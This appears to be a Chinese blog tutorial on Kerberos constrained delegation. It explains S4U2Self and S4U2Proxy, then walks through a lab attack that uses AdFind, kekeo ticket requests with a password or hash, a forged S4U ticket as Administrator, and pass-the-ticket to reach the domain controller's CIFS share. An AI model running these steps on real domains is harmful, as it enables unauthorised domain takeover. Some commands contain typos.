约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非约束委派更安全一些。
由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软在 Windows Server 2003 中引入了约束委派,对 Kerberos 协议进行拓展,引入了 S4U
(S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。
S4U2self
(Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION
, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
S4U2proxy
(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo
中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。
不同于允许委派所有服务的非约束委派,约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。
S4U2self:
(1) 用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。
(2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。
(3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。
(4) service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。
尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。
S4U2proxy:
(5) 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。
(6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。
(7) 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。
(8) service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。
(9) service2 响应步骤 8 的请求。
(10) service1 响应用户对步骤 5 中的请求。
域管:dc1 10.10.10.142
备用域管:dc2 10.10.10.140
域用户1:12server1 10.10.10.152
域用户2: 12server2 10.10.10.138
此处如果没有用户,需要新建个用户,加上spn标识为服务用户
setspn -A cifs/12server2.redteam.club websec 设置服务用户对websec的cifs服务的委派
配置服务账号,添加域控主机名ad1
已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务ST,只能用模拟用户访问特定的服务, 是无法获取用户的TGT的,如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U 的请求,进而伪造服务用户以任意账户的权限访问服务的ST
设置约束用户存在 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 关键字
使用命令查询约束用户
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msdsallowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
通过kekeo请求服务用户的TGT tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi 同理此处利用ntlm hash也是可以进行请求的 tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX
利用这个票据通过伪造S4U请求以administrator身份访问websec的ST tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@redteam.club /service:cifs/ad1.redteam.club
这时候kekeo当前路径下会出现administrator的ticket (用于访问websec的CIFS服务),导入这个tiket即可 访问websec的cifs服务: 使用kekeo导入票据访问域控
keberos::ptt TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.k irbi
访问域控
域渗透委派攻击之约束委派_全局变量Global的博客-CSDN博客_约束委派
域渗透之委派攻击详解(非约束委派/约束委派/资源委派) - 腾讯云开发者社区-腾讯云
斩尽杀绝,这是对一个文明最高的重视